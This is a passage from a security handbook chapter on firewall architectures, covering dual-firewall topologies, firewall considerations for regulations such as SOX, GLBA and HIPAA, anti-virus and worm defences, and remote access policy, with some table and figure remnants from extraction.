firewall. As far as the attacker is concerned, during an application-level attack in this topology the first firewall does not exist. The only possible benefit to the enterprise offered by this topology would be that, by screening packets, the first firewall may enhance the performance of the second firewall. Allowing those services supported by the application proxy firewall (second in line) to be passed by the packet-filtering firewall (first in line) eliminates the CPU load of having to screen all of the packets on the second firewall. Perhaps, however, one’s money would be better spent purchasing a faster hardware platform for the applicationlevel firewall than spending money on a packet-filtering firewall in order to reduce the load on the application-level firewall. Reliability is also a consideration in a dual firewall topology. Two firewalls in series reduces overall reliability. A failure of either firewall, whether it is a failure of the firewall hardware or failure due to an attack directed against a vulnerability in the firewall software or underlying operating system, can shut down your Internet connectivity. A firewall is not necessarily the “Holy Grail.” Firewalls themselves are not immune to vulnerabilities. A search at CERT, CIAC, X-Force, or CVE will reveal numerous vulnerabilities in many popular firewalls. The risk increases when running a firewall on top of a commercial operating system because of the associated vulnerabilities observed in the various operating systems, as shown in Table 6.10, which summarizes vulnerability data found on the www.secunia.com Web site.
Multiple Firewalls in a 1oo2 Topology: Getting It Right Increased risk mitigation is clearly attainable in a 1oo2 topology through the use of a multiple firewall topology between the public Internet and private networks; however, in order to attain this higher risk mitigation there are three simple rules that must be followed. • Both firewalls must inspect all seven layers of the OSI model. Using a packet filter firewall that inspects packets only up to layer four of the OSI model as the first firewall and a firewall that inspects all seven layers of the OSI model as the second firewall effectively eliminates any risk mitigation while decreasing overall reliability and manageability when compared to using a single stand-alone firewall. • The inspection methodologies must use disparate technology. Using two firewalls that inspect all seven layers of the OSI model but rely on the same software and inspection methodology provides little, if any, risk mitigation while at the same time it decreases overall reliability when compared to using a stand-alone firewall. • The firewalls must operate on top of disparate operating systems. Using the same operating system on both firewalls reduces risk mitigation because a single exploit of the operating system can take out both firewalls. With current technology, industrial process control system designers have actually gone further in increasing risk mitigation (Figure 6.9) and have effectively solved the reduced reliability issues in a one out of
99
An Examination of Firewall Architectures
TABLE 6.10 Vulnerabilities Observed in Respective Operating Systems Operating System IBM OS/400 IBM z/OS Apple OS 9 HP OpenVMS 7.x IBM AIX 5.x FreeBSD 5.x Apple OSX HP Tru64 5.x FreeBSD 4.x Sun Solaris 8 Sun Solaris 9 HP HPUX 11.x Linux Kernel 2.4.x Microsoft Windows Server 2003 Standard Edition Microsoft Windows Server 2003 Enterprise Edition Microsoft Windows 2000 Professional Microsoft Windows XP Home Edition Microsoft Windows XP Professional Sun Linux 5.x SuSE Linux 8.x RedHat Linux 9 RedHat Linux 8 Mandrake Linux 9.x Debian GNU/Linux 3.0
Note: OS vulnerability data is freely available at http://www.secunia.com.
two (1oo2) voting scheme by developing two out of three (2oo3) voting schemes that afford redundancy in the voting logic, as shown in Figure 6.22. Inherently, 2oo3 voting schemes offer measurably higher risk mitigation while increasing overall reliability through redundancy of key failure points in the system. In network security, a 2oo3 firewall topology is likely to be too complex and expensive to deploy and manage. At a minimum, however, we can learn from the designers of the industrial 2oo3 scheme and obtain a cost-effective increase in reliability, at least with respect to the firewall hardware, through the use of redundancy in 1oo2 multiple firewall topologies, as shown in Figure 6.23. By using pairs of redundant firewalls in a 1oo2 voting scheme, it is possible to mitigate a majority of the reliability issues related to firewall hardware while providing higher risk mitigation, as shown in Figure 6.24. The ability to easily manage a 1oo2 firewall topology is critical to its long-term success. Both firewalls must be managed together as if they were one in order to minimize configuration issues and errors. Using a centralized management scheme on the 1oo2 firewall topology, the administrator only has to deal with learning a single GUI and managing a single security policy. If a change is made on the central manager to the single policy, it is automatically published to both firewalls in their respective proper data formats. In order to meet the requirements for disparity of the filtering methodology and disparity of the underlying operating system, network security system designers have typically had to source firewalls from separate firewall vendors. Managing firewalls from different vendors can be problematic, as most commercial product vendors are not willing to share their intellectual property with competing application-level firewall vendors. Historically this has resulted in the inability of most application firewall vendors to offer a centralized management product that was capable of managing products from multiple vendors; however, this situation is beginning to change. Industry consolidation and the development of next-generation firewall technologies have led some vendors to develop management capabilities that can handle their existing products and their next-generation products as well as products acquired
100
Information Security Management Handbook
A
A
1001
B
1002
A A 2002 B B A
B
A
C
B
C
C 2003
FIGURE 6.22 Current process control system topologies.
through consolidation. These vendors are now able to offer 1oo2 firewall topology solutions that meet the guidelines for disparity in the firewall technology and disparity in the operating system along with comprehensive centralized management.
Sensor 1 HA Sensor 2
AND
Sensor 3 HA Sensor 4
FIGURE 6.23 Hybrid 1oo2 logic diagram.
SAFE
101
An Examination of Firewall Architectures
Redundant HA Pair 1
AND
SAFE
Redundant HA Pair 2
FIGURE 6.24 Using HA pairs in 1oo2 topology.
Using two firewalls in a multilayer dual firewall topology (1oo2) can produce a beneficial increase in risk mitigation without negatively impacting reliability and manageability. Unless done properly, however, no appreciable increase in risk mitigation will result, and, further, it could cause a decrease in reliability and manageability. Due to consolidation in the firewall industry as well as development of next-generation firewalls, it is possible today for the network security designer to acquire a bundled multilayer dual firewall topology (1oo2) system from a single vendor that will meet all of the requirements of a properly configured topology, including redundancy, while providing a single management interface to reduce the management burden.
Firewall Considerations for the Security Manager • • • • • • • • • •
Regulatory Compliance The information provided here is not to be considered an all-encompassing guideline to achieving regulatory compliance, as its intent is only to discuss some of the firewall considerations for a subset of requirements for specific regulations. In the post-Enron era, information technology (IT) managers are dealing with several regulatory requirements that were developed to help restore confidence in public corporations and, more specifically, the financial services industry. These regulatory requirements mandate corporate responsibility for financial as well as personal data. Although this is not an all-inclusive list, major regulatory issues facing IT managers today include: • Sarbanes–Oxley Act (SOX) • California Senate Bill 1386
102
Information Security Management Handbook
• • • • •
Gramm–Leach–Bliley Act (GLBA) European Union (EU) Data Protection Directive Basel II Accord U.S. Patriot Act Health Insurance Portability and Accountability Act (HIPAA)
Sarbanes–Oxley Act Since the Securities Exchange Act of 1934, we have not seen any legislation other then perhaps the Foreign Corrupt Practices Act of 1977 that has so widely affected publicly traded companies. In the simplest of terms, Sarbanes–Oxley holds the officers of publicly traded companies personally responsible for the accurate reporting of financial information to investors and the general public. Private companies must also comply with Sarbanes–Oxley requirements if they anticipate either becoming a public company in the future or being acquired by a public company. With the requirement of personal responsibility upon them, executives are looking to IT managers for the security controls that afford the required integrity of financial information. Sarbanes–Oxley in part contains three rules that affect the management of electronic records. The first rule (Sec. 802(a)) deals with destruction, alteration, or falsification of records: Whoever knowingly alters, destroys, mutilates, conceals, covers up, falsifies, or makes a false entry in any record, document, or tangible object with the intent to impede, obstruct, or influence the investigation or proper administration of any matter within the jurisdiction of any department or agency of the United States or any case filed under title 11, or in relation to or contemplation of any such matter or case, shall be fined under this title, imprisoned not more than 20 years, or both. (www.sox-online.com/act_section_802.html) The second rule (Sec. 802(a)(1)), while very broad, defines the retention period for records storage: Any accountant who conducts an audit of an issuer of securities to which section 10A(a) of the Securities Exchange Act of 1934 (15 U.S.C 78j-1(a)) applies, shall maintain all audit or review workpapers for a period of 5 years from the end of the fiscal period in which the audit or review was concluded. (www.sox-online.com/act_section_802.html) A third rule (Sec. 802(a)(2)), while again very broad, defines the type of business records that need to be stored. The rule covers all business records and communications, including electronic communications: The Securities and Exchange Commission shall promulgate, within 180 days, such rules and regulations, as are reasonably necessary, relating to the retention of relevant records such as work papers, documents that form the basis of an audit or review, memoranda, correspondence, communications, other documents, and records (including electronic records) which are created, sent, or received in connection with an audit or review and contain conclusions, opinions, analyses, or financial data relating to such an audit or review. (www.sox-online.com/act_section_802.html) In meeting the intent of the first rule, the integrity of the business records and the respective communicating of them are a primary concern to IT managers with respect to firewalls. With respect to integrity, access controls are important, but simply utilizing stateful packet-filtering firewalls (layer-four-based technologies) to secure the business records in today’s environment of application-layer (layer seven)based attacks is not a viable solution. It has been estimated that up to 70 percent of the installed base of firewalls is operating as stateful packet filters offering little or no defense from today’s application-layer attack. With respect to the communication of business records, a VPN is necessary to maintain confidentiality. Caution must be urged, as many have mistakenly assumed that a VPN also provides some level of data integrity protection. A VPN only protects the integrity of data in transit. The endpoints of the VPN tunnel must also be secured (firewall) to achieve data integrity. Because most firewalls today also provide VPN capability, this requirement can be reasonably met with a wide variety of products. Care should be taken in selecting
An Examination of Firewall Architectures
103
the firewall architecture, however. If no Internet access is afforded to protected servers storing financial data records behind the VPN/firewall, a layer four firewall may be adequate. But, if the VPN/firewall is also protecting access to private servers storing financial data records accessible to the Internet, then a layer seven firewall is required for data integrity. In meeting the intent of the second rule, records must be maintained for a period of five years. Financial record storage must provide for the integrity of the data while stored and the confidentially of the data while in transit to and from storage. To protect data integrity, access controls are important but simply utilizing stateful packet-filtering firewalls (layer-four-based technologies) to secure the stored business records in today’s environment of application-layer (layer seven)-based attacks is not a viable solution. In meeting the intent of the third rule regarding the type of records to be retained, the requirement encompasses all business records and communications. The consideration of a firewall to support this requirement should include filtering and logging mail traffic. While it is a simple matter to store e-mail archives from the mail server, corporate e-mail is only part of the issue. If the organization permits the use of Web mail from services such as Yahoo, AOL, or MSN for business-related communications, then those e-mails could also be included as part of the business records and must also be logged. A firewall that can recognize and specifically log Web-based e-mail offers a centralized logging mechanism for permitted chat traffic. If the organization wishes to block Web-based e-mail, then a firewall capable of filtering Web-based e-mail from within the HTTP datastream is required, and the firewall logs should be able to reflect the blocked traffic. Consideration should also be given to the ability of the firewall to provide a change control mechanism to provide proof of ongoing organizational compliance after an audit has concluded that the configuration meets SOX requirements. California Senate Bill 1386 This California law, effective July 1, 2003, is also referred to as the Security Breach Information Act. The law requires all companies that do any business in California or have any customers in the state to notify those customers promptly whenever specific personal information may have been exposed to unauthorized parties in unencrypted form (http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_ bill_20020926_chaptered.html). Other than establishing that encryption is necessary to mitigate the requirement to notify, this law does not specify other security controls required for compliance. In an effort to meet the law’s requirements, many organizations have implemented encryption to avoid the embarrassment and expense of notification. Encryption by and of itself may be insufficient to ensure compliance. Numerous organizations were compromised prior to the law taking effect that lacked the necessary firewall log data to answer the basic question: Was the confidential information stored on our servers exposed? Well before California Senate Bill 1386, the author can recall a specific public company that was punished severely by Wall Street with a dramatic decrease in share value because, weeks after they were attacked and the hackers bragged publicly about capturing their customers’ credit card information from their database, they could not definitively state whether the data had in fact been exposed or not. The IT manager’s firewall considerations with respect to California Senate Bill 1386 should go well beyond implementing data encryption on stored customer records and should also include properly securing the Internet gateway with a firewall to first mitigate an attack and also to provide granular logging of a failed attack attempt to prove that data was not exposed. The firewall consideration should go beyond the popular trend of using a stateful packet filter limited to defending only against protocollevel attacks at layer four and should provide for application-layer attack mitigation to meets today’s current Internet attack threats. To provide data integrity, access controls are important, but simply utilizing stateful packet-filtering firewalls (layer-four-based technologies) to secure the stored business records in today’s environment of application-layer (layer seven)-based attacks is not a viable solution. Consideration should also be given to the ability of the firewall to provide a change control mechanism to provide proof of ongoing organizational compliance after an audit has concluded that the configuration meets the requirements of California Senate Bill 1386.
104
Information Security Management Handbook
Gramm–Leach–Bliley Act The Gramm–Leach–Bliley Act (GLBA) mandates privacy and protection of customer records maintained by financial institutions (www.ftc.gov/privacy/glbact/). Section 501(b) requires that financial services companies establish “administrative, technical, and physical safeguards.” A set of guidelines is typically provided by respective regulatory bodies that offer a general but comprehensive closed-loop framework to provide regulatory compliance. Compliance with the Gramm–Leach–Bliley Act requires that financial institutions provide for the confidentiality and integrity of customer records including stored records and records being transmitted electronically. With respect to integrity, access controls are important, but simply utilizing stateful packet-filtering firewalls (layer-four-based technologies) to secure the business records in today’s environment of application-layer (layer seven)-based-attacks is not a viable solution. It has been estimated that up to 70 percent of the installed firewall base is operating as a stateful packet filter, offering little or no defense from a current-day application-layer attack. When communicating business records, a VPN is necessary to maintain confidentiality. Caution must be urged as many have mistakenly assumed that a VPN also provides some level of data integrity protection. A VPN only protects the integrity of data in transit, and the endpoints of the VPN tunnel must also be secured (firewall) to achieve data integrity. Because most firewalls today also provide VPN capability, this requirement can be reasonably met with a wide variety of products. Care should be taken in selecting the firewall architecture, however. If no Internet access is afforded to protected servers storing financial data records behind the VPN/firewall, a layer four firewall may be adequate, but, if the VPN/firewall is also protecting access to private servers storing financial data records accessible to the Internet, then a layer seven firewall is required for data integrity. Consideration should also be given to the ability of the firewall to provide a change control mechanism to provide proof of ongoing organizational compliance after an audit has concluded that the configuration meets the requirements of the Gramm–Leach–Bliley Act. European Union Data Protection Directive This European Union Directive required that each of the 15 member nations of the European Union pass legislation requiring protection of the integrity and confidentiality of networks, systems, and data containing personal information. Any U.S. organization doing business with or having employees in the European Union could be impacted by the laws in the European Union that were enacted by this directive. For the most part, current regulations in the United States have only explicitly addressed the integrity and confidentially of customer records, but this directive clearly includes employee personal records, as well (http://www.dataprivacy.ie/6aii.htm). With respect to the integrity of personal records, access controls are important, but simply utilizing stateful packet-filtering firewalls (layer-four-based technologies) to secure the business records in today’s environment of application-layer (layer seven)-based attacks is not a viable solution. It has been estimated that up to 70 percent of the installed firewall base operates as a stateful packet filter, offering little or no defense from a current day application-layer attack. When communicating personal records, a VPN is necessary to maintain confidentiality. Caution must be urged, as many have mistakenly assumed that a VPN also provides some level of data integrity protection. A VPN only protects the integrity of data in transit, and the endpoints of the VPN tunnel must also be secured (firewall) to achieve data integrity. Because most firewalls today also provide VPN capability, this requirement can be reasonably met with a wide variety of products. Consideration should also be given to the ability of the firewall to provide a change control mechanism to provide proof of ongoing organizational compliance after an audit has concluded that the configuration meets the legal requirements passed by the European Union Directive. Basel II Accord Developed by the Bank of International Settlements, it was anticipated that the Basel II Accord would be finalized by the fourth quarter of 2003, with implementation to take effect in member countries by
An Examination of Firewall Architectures
105
year-end 2006. The accord was enacted to regulate banks that operate internationally, and it provides broad guidance for calculating operational risk to banks. Risk calculation includes identifying, assessing, and managing risks the banking organization is facing. Based on these calculations, banks are required to set aside reserves to offset their risk. The higher the calculated risk, the higher the reserve requirements — a factor that could effectively lower the working capital available for international banks (http:// www.bis.org/publ/bcbsca.htm). For the time being, the Basel II Accord is limited to banks operating internationally. Most U.S. securities firms are not obliged to comply; however, under rules proposed in late 2003, several large independent U.S. securities houses will also be subject to Basel II under the Securities and Exchange Commission (SEC) Consolidated Supervised Entities (CSEs). While the accord does not specifically address network security issues in any detail, international banks that offer Internet banking or are connecting their private networks to the public Internet would clearly face additional operational risks that would impact the their risk calculation. From a network security perspective, calculating risk for banks affected by the Basel II Accord should include the potential for loss of data confidentiality and integrity for financial records and customer personal information. Unprotected, an international bank would face dramatically higher reserves to offset this risk. Thus, a properly implemented network security program to protect the financial and customer records of the bank could have a significant impact on the bottom line through lowering reserve requirements. With respect to Web sites operated for Internet banking, due consideration must also be given to protecting the confidentiality of data transmitted between the client and the bank’s Web server. Further, data integrity for any data stored on the Web server, the Web server itself, and any back-end supporting systems that may be rendered accessible or compromised from an Internet-based attack must also be considered. Risks associated with the losses at international banks from the current dramatic increase in phishing e-mail scams will undoubtedly come into consideration and will further increase the reserves required for banks offering account access for clients over the public Internet. With respect to the integrity of financial records and personal information, access controls are important but simply utilizing stateful packet-filtering firewalls (layer-four-based technologies) to secure the business records in today’s environment of application-layer (layer seven)-based attacks is not a viable solution. It has been estimated that up to 70 percent of the installed firewall base are operating as stateful packet filters, affording little or no defense from a current day application-layer attack. Transmitting data via Secure Sockets Layer (SSL) to facilitate confidentiality while traversing the public Internet during Internet banking requires special consideration. A growing trend is to decrypt SSL on the firewall or just prior to the firewall to afford policy enforcement to mitigate the risk of malicious code reaching the Internet bank’s Web server. After enforcing policy, the datastream can be encrypted again using a separate digital certificate to facilitate confidentiality while the data is routed within the bank’s intranet. With respect to communicating financial records and personal information other than communication specifically between a client Web browser and the bank’s Web server, a VPN is necessary to maintain confidentiality. Caution must be urged, as many have mistakenly assumed that a VPN also provides some level of data integrity protection. A VPN only protects the integrity of data in transit, and the endpoints of the VPN tunnel also must be secured (firewall) to achieve data integrity. Because most firewalls today also provide VPN capability, this requirement can be reasonably met with a wide variety of products. Care should be taken in selecting the firewall architecture, however. If no Internet access is afforded to protected servers storing financial data records behind the VPN/firewall, a layer four firewall may be adequate, but if the VPN/firewall is also protecting access to private servers storing financial data records accessible to the Internet then a layer seven firewall is required for data integrity. Consideration should also be given to the ability of the firewall to provide a change control mechanism to provide proof of ongoing organizational compliance after an audit has concluded that the configuration meets the requirements of the Basel II Accord.
106
Information Security Management Handbook
U.S. Patriot Act Enacted nearly three years ago, the Patriot Act did not really introduce any new legal instruments or actions because virtually all components covered within the Patriot Act were already present in existing law. The impact of the Patriot Act, for the most part, was to reduce requirements for judicial oversight on searches and seizures. It permits searches and seizures of electronic information by law enforcement without requiring notification of the person subject to the search or seizure for a reasonable time. Further, investigations can require a complete information blackout, forbidding IT managers or their staff from informing subjects that they are, in fact, under investigation (http://www.epic.org/privacy/terrorism/ hr3162.html). Under the Patriot Act, law enforcement has the authority to require actions to be taken that may have a negative impact on the business. This could include shutting down critical business servers, thus causing business disruption, or perhaps requiring that no action be taken, thereby allowing a disruptive attack to continue while it is being investigated further. In the process of their investigation, they need have little regard for the consequences to an organization’s network and the resultant impact on business. For IT managers, it is not simply the actions of their employees or the customers that should concern them in their efforts to keep their organizations from being caught up in a Patriot Act investigation. The compromise of one network server by an Internet-based attacker that is then used in an attack against a third party could very well land the organization in the middle of a Patriot Act investigation. It is imperative for IT managers to have security policies and incident-handling procedures in place to effectively address the issues of being involved in a Patriot Act investigation. The IT manager’s primary concern with firewalls with respect to the Patriot Act should be preventing both attacks that originate with malicious persons inside the corporate network and Internet-based attacks that compromise a server which is then used to attack a third party. To prevent malicious persons within the corporate network from involvement in an attack against an external network, care should be taken to allow only the minimal outbound services necessary to meet organizational business objectives. For those services that are explicitly permitted, an application-layer firewall (layer seven) should be used to restrict the use of specific protocol and application commands to those deemed acceptable to the organization’s security policy and procedures. A stateful packet-filtering firewall (layer four) does not inspect the payload in an allowed protocol and therefore provides little if any risk mitigation in an attack from within the network on another Internet-connected organization. To prevent malicious persons outside the corporate network from compromising a publicly accessible server within a network and using that server in an attack against a third party, care should be taken to allow only the minimal inbound services necessary to meet organizational business objectives. For services that are explicitly permitted, an application-layer firewall (layer seven) should be used to restrict the use of specific protocol and application commands to those deemed acceptable to the organization’s security policy and procedures. Each publicly accessible server should be isolated on a single subnet to facilitate granular access control rules that could prevent the attacker from using the compromised server to attack other servers. Access controls should only allow access to the publicly accessible server to be initiated from an individual on the public Internet. No connections should be permitted either outbound to the public Internet or inbound to the corporate intranet from the publicly accessible server. Consideration should also be given to the ability of the firewall to provide a change control mechanism to provide proof of ongoing organizational compliance after an audit has concluded that the configuration meets the requirements of the Patriot Act. Health Insurance Portability and Accountability Act
The Health Insurance Portability and Accountability Act (HIPAA) was enacted in 1996 to ensure the portability, privacy, and security of personal medical information. The act impacts any healthcare organization that maintains any electronic health information. Further, it also impacts the healthcare organization’s respective vendors and business partners. The act requires that these covered organizations must effectively implement administrative, technical, and physical safeguards to protect the confidentiality and
An Examination of Firewall Architectures
107
availability of electronic health information for their customers (http://www.cms.hhs.gov/hipaa/). The three primary rules under the Health Insurance Portability and Accountability Act are: • The privacy standard, which establishes privacy requirements for all of a customer’s individually identifiable health information, including specific definitions of both authorized and unauthorized disclosures. • The transactions and code sets standard, which mandates that healthcare payers, providers, and clearinghouses across the United States use predefined transaction standards and code sets for communications and transactions. This specific rule required compliance by October 2003. • The security standard, which specifically mandates securing the confidentiality, integrity, and availability of customer’s individually identifiable health information. Further, the standard provides for patients’ access to their specific records online upon request. This specific rule required compliance by April 2005. The IT manager’s firewall considerations with respect to HIPAA should include: • Properly securing the Internet gateway with a firewall to mitigate an attack against a network that contains personal medical records • Providing granular access control for the server that contains the personal medical records • Implementing data encryption on stored customer records • Providing encryption of all data in transit across both public and private networks • Providing granular logging of all external and internal network access to all secured records The firewall considerations for the IT manager should go beyond the popular trend of using a stateful packet filter limited to only defending against protocol-level attacks at layer four and should provide application-layer attack mitigation to meets today’s current Internet attack threats. To provide data integrity access controls is important, but any access to database servers within private networks that are accessible from the public Internet should require the use of an application-specific strong application proxy for maximum risk mitigation. The Health Insurance Portability and Accountability Act requires proactive security measures, including regular network testing and auditing to secure electronic information, so consideration should also be given to the ability of the firewall to provide a change control mechanism to provide proof of ongoing organizational compliance after an audit has concluded that the configuration meets the requirements.
Manageability With regard to firewall manageability, the ability to easily manage a firewall topology is critical to its long-term success. An organization can have the best firewalls available protecting it, yet they can still fail if they cannot be properly, quickly, and, just as importantly, easily managed. In order to minimize configuration issues and errors, it is necessary to manage all firewalls from core to edge across the organization and, indeed, the global enterprise together as a group as if they were one. By using a centralized management scheme for the organization’s firewall topology, the administrative team must deal only with learning a single GUI and, effectively, managing a single security policy. A change made on the central manager to the single policy is automatically published to all firewalls in their respective proper data formats. IT administrators must also: • • • • • • • •
Define and distribute firewall rules to one firewall or hundreds simultaneously. Share configuration data between firewalls. Support entities with multiple policies. Configure firewall and VPN connectivity, including both VPN star and mesh topologies. Monitor and control firewall activity. Simplify routine administrative tasks. Manage ongoing changes to their security policies. Manage other network devices (such as routers).
108
Information Security Management Handbook
Object-based central management can allow administrators to define an object, such as a firewall, group of firewalls, network, or interfaces, once and then reuse those objects wherever they are needed. When security policies change, an administrator can modify the objects and propagate the changes instantly throughout the enterprise. Managing firewalls from different vendors can be problematic, as most commercial firewall product vendors are not willing to share their intellectual property with competing firewall vendors. Historically, this has resulted in the inability of most application firewall vendors to offer a centralized management product that was capable of managing products from multiple vendors. This situation is beginning to change, however. Industry consolidation and the development of next-generation firewall technologies have led some vendors to develop management capabilities that can handle their existing products and their next generation products as well as products acquired through consolidation. These vendors are now able to offer comprehensive central management across multiple firewall platforms.
Mitigation of Viruses and Worms Virus Considerations Times have changed. Virus authors used to write malicious code to get their 15 minutes of fame. Today, virus writers are using malicious code to create armies of zombie computers referred to as bot nets. These botnets are sold to spammers as e-mail relays and traded as currency that can be used to launch distributed denial of service (DDoS) attacks within the malicious hacker community. Not only have viruses become more malicious, deleting files and including payloads of Trojans and keyloggers, but they have also gotten more efficient, with some even installing their own mini-mail server to help speed distribution. This signature-based approach literally puts anti-virus companies and their respective IT manager customers in an arms race with malicious virus code writers. Relying upon signatures requires that the anti-virus vendor reverse engineer the virus to build a signature, package the signature in an update, and then make the update available to customers. This takes time, and not all anti-virus vendors are up to the task. In the recent W32.Sober.I outbreak, some anti-virus vendors took up to twelve hours after initial sightings of the infection in the wild before they could make updated signatures available for customers. With experts stating that there is only a two-hour window from the time a virus is first spotted to the time it reaches critical distribution mass, having to wait twelve hours for a signature update is simply unacceptable. Although they are not fast enough in releasing new signatures to meet today’s threats, antivirus products have improved dramatically in accuracy, and today the signature approach offers the highest level of accuracy with the lowest false detection rates. Some anti-virus vendors have adopted a heuristics approach to try to predict what a piece of code will do to try to resolve the time lag issues in signature-based anti-virus vendors’ update responses. In a heuristics approach, the code is actually allowed to run in a controlled environment to determine what the code is trying to do. If it is determined that the code is attempting to do something malicious, it can be contained. This methodology has the potential to close the gap left open by too many signature-based products. While heuristics offers some hope, it is simply not yet that accurate. The best available products only offer a 90 percent successful detection rate and higher rates of false positives in virus detection. In the current environment, the only sensible approach is to use anti-virus products that combine both approaches. The IT manager gets the fast detection capability of heuristics and the accuracy of signature detection. How one deploys an anti-virus defense is just as important as the type of anti-virus selected. Deploying an anti-virus at the gateway can stop a virus before it enters the network. Many firewall vendors offer the ability to connect an anti-virus server to an isolated port on the firewall. When a file over SMTP, FTP, or HTTP is seen, it is first sent to the anti-virus server for inspection before being forwarded to the protected network. Lately, a trend has emerged to incorporate anti-virus into the firewall itself from several appliance firewall vendors. The author questions this approach, as it could be a simple matter to forward a large number of e-mails with attachments and effectively overload the firewall CPU with anti-virus scanning
An Examination of Firewall Architectures
109
duties. This could create a DoS attack or, at a minimum, could slow other network traffic. Further, a number of new appliance firewalls feature fast hardware-accelerated anti-virus scanning. Unfortunately, many only provide for signature-based detection and rely completely on the vendor’s ability to keep signatures up to date to afford any level of protection. Will it really matter to internal users if an e-mail is scanned in 40 ms or 4000 ms? It is doubtful that internal users in their normal day-to-day business activities would notice any significant difference between a hardware-accelerated anti-virus scanner or a software-based anti-virus product. It is necessary to weigh the faster scanning capability against the increased risk exposure of a signature-only methodology. Gateway-located anti-virus offers no protection from an internal user plugging in a universal serial bus (USB) drive with an infected file or a mobile user connecting an infected laptop to the network behind the gateway. Deploying anti-virus on the desktop can mitigate the risk of an internal user infecting the network by installing an infected file from a floppy or USB. Some now offer the ability to isolate users if their anti-virus signatures are not current, thereby helping to mitigate the threat of a mobile user connecting to and infecting the network. Relying on desktop deployment, however, can have a significant impact on network traffic because infected e-mails are forwarded by the e-mail server to internal users. The combined approach of gateway- and desktop-based anti-virus deployment is best and can be further enhanced by choosing products that utilize both signature and heuristic approaches. Finally, to minimize the risk of one vendor being slower to provide signature updates than another, one suggestion would be to use products from different vendors — one vendor on the gateway and a different vendor for the desktop. Worm Considerations The SQL Slammer worm struck January 25, 2003, and entire sections of the Internet began to go down almost immediately (www.csoonline.com/whitepapers/ 050504_cyberguard/EvolutionoftheKillerWorms. pdf): • Within minutes, Level 3’s transcontinental chain of routers began to fail, overwhelmed with traffic. • Three hundred thousand cable modems in Portugal went dark. • South Korea fell right off the map, and 27 million people were without cell phone or Internet service. • Unconfirmed reports stated that five of the Internet’s thirteen root-name servers — all hardened systems — succumbed to the storm of packets. • Corporate e-mail systems jammed. • Web sites stopped responding. • Emergency 911 dispatchers in suburban Seattle resorted to paper. • Unable to process tickets, Continental Airlines canceled flights from its Newark hub. Most of the company’s 75,000 servers were affected within the first ten minutes. SQL Slammer took advantage of a known vulnerability in Microsoft’s SQL Server software, a limit to the actual number of servers compromised. Using the now-familiar random address scanning technique to search for vulnerable hosts, SQL Slammer included elements that enabled it to propagate rapidly: • By using an inherently faster communications protocol, the User Datagram Protocol (UDP), in lieu of TCP as the communications protocol, SQL Slammer eliminated the overhead of a connection-oriented protocol. • At only 367 bytes, SQL Slammer was one of the smallest worms on record. Damage estimates for SQL Slammer were $1.2 billion (www.somix.com/files/SMS-SQL-SlammerArticle.pdf). A variation of SQL Slammer was reported to have been responsible for a disruption at a nuclear power plant in Ohio on June 20, 2003 (www.inel.gov/nationalsecurity/features/powerplay.pdf). Some reports suggest that a SQL Slammer variant may have played a role in the August 14, 2003, power failure that blacked out cities from Ohio to New York.
110
Information Security Management Handbook
Future Worm Considerations Although worms have evolved from both technological and social engineering perspectives, there has been little change in the basic method of propagation — the initial scanning phase in which the worm looks for the vulnerable hosts. When a worm reaches an installation base of 10,000 or more hosts, propagation becomes exponentially faster. In virtually all cases to date, worms have been slow to find the initial 10,000 or so exploitable hosts. During this scanning phase, worms produce quite a bit of noise as they scan random address ranges across the Internet looking for targets. This causes firewalls and IDS systems to generate alerts and serves as an early warning that a new worm is winding its malicious way across the Internet. All of this is about to change, though. Future worms will take advantage of new fast scanning routines that will dramatically accelerate the initial propagation phase and even use prescanning data to virtually eliminate that first slow phase of scanning for vulnerable hosts. This new strain of worms is referred to as a fast scanning worm, sometimes also called a Warhol worm. An excellent paper that discusses the Warhol worm concept was written by Nicholas C. Weaver at the University of Berkley in 2001; “A Warhol Worm: An Internet Plague in 15 Minutes!” is recommended reading for all network administrators (http://www.cs.berkeley.edu/ ~nweaver/warhol.old.html). Even with fourteen hours of advance warning, networks and systems were completely overwhelmed by the speed of CodeRed, and they had no chance to defend against SQL Slammer as it circled the globe in about an hour. What will the devastation be when a worm eliminates the initial scanning phase of hunting for 10,000 vulnerable hosts? Estimates average that it would take about six minutes for this new type of worm to completely saturate the Internet. It is no longer a matter of how this can be accomplished. It is simply a matter of when. The technology is here to facilitate this new worm. All that is lacking is the attacker with the will and malicious intent. Here are the top 12 things that can be done to harden an enterprise against worm attacks: • Patch all systems (both servers and desktops) and remove or disable all unnecessary services. • Review the organization’s security policies and reevaluate the business need for services that are allowed access to the Internet. Eliminate all but those services that are essential to operating the business. • Use application proxies with complete packet inspection on all traffic inbound to publicly accessible servers. • Isolate all publicly accessible servers, each on their own physical network segment. Servers should be grouped by trust, not by convenience. • Create granular access controls that prevent publicly accessible servers from originating connections to either the public Internet or the intranet. • Create access controls to limit outbound access for internal users to only services that are necessary. • Strip all potentially malicious e-mail attachments within the SMTP application proxy firewall. • Use an anti-virus server on an isolated network segment to eradicate virus and worms from permitted e-mail attachments before allowing e-mail through the firewall. • Deploy anti-virus software on all desktops throughout the business. • Use ingress antispoofing filters on the border router to prevent spoofed packets that are common to worm propagation from entering the network. (Refer to http://www.zvon.org/tmRFC/RFC2827/ Output/chapter3.html for a good explanation of ingress filtering.) • Use egress antispoofing on the border router to prevent a worm or potentially malicious internal user from launching spoofed IP address-related attacks across the Internet from inside the network. (Refer to http://www.sans.org/y2k/egress.htm for a good explanation of egress filtering.) • Create an incident response plan that includes an out-of-band communications method to the organization’s bandwidth provider to head off attacks and shun IP addresses on the provider’s border routers, minimizing any impact within the organization’s pipe.
An Examination of Firewall Architectures
111
Remote Access Security Telecommuting offers the enterprise a cost benefit while in many cases also improving the work environment and perhaps even the quality of life for the telecommuter. Unfortunately, for many organizations, the rush to telecommuting has not been accompanied with the necessary security mechanisms to mitigate the increased risks that come with remote employee network access. The first step in implementing telecommuting is to establish a security policy for remote workers. The remote access policy should augment the current enterprise’s security policy and should provide a reevaluation of access requirements. At a minimum, the policy should clearly address the following issues: • Encryption of all data that traverses public networks • Security of the remote endpoint • Firewall — Compromised remote laptops or PCs can provide complete unimpeded access for a hacker behind the enterprise firewall using the provided VPN tunnel • Anti-virus — Out-of-date anti-virus signatures (an anti-virus product with signatures that are 30 days or older) are as bad as no anti-virus at all. • Authentication • Internal authentication (password) • External authentication (token) • Personal use of the PC or laptop by the employee • Actions of a disgruntled employee • Security management Encryption of All Data That Traverses Public Networks The most common solution to encryption for remote telecommuters is client-to-server VPN. Several enterprise firewalls provide IPsec VPN capabilities that can work seamlessly with edge devices at the 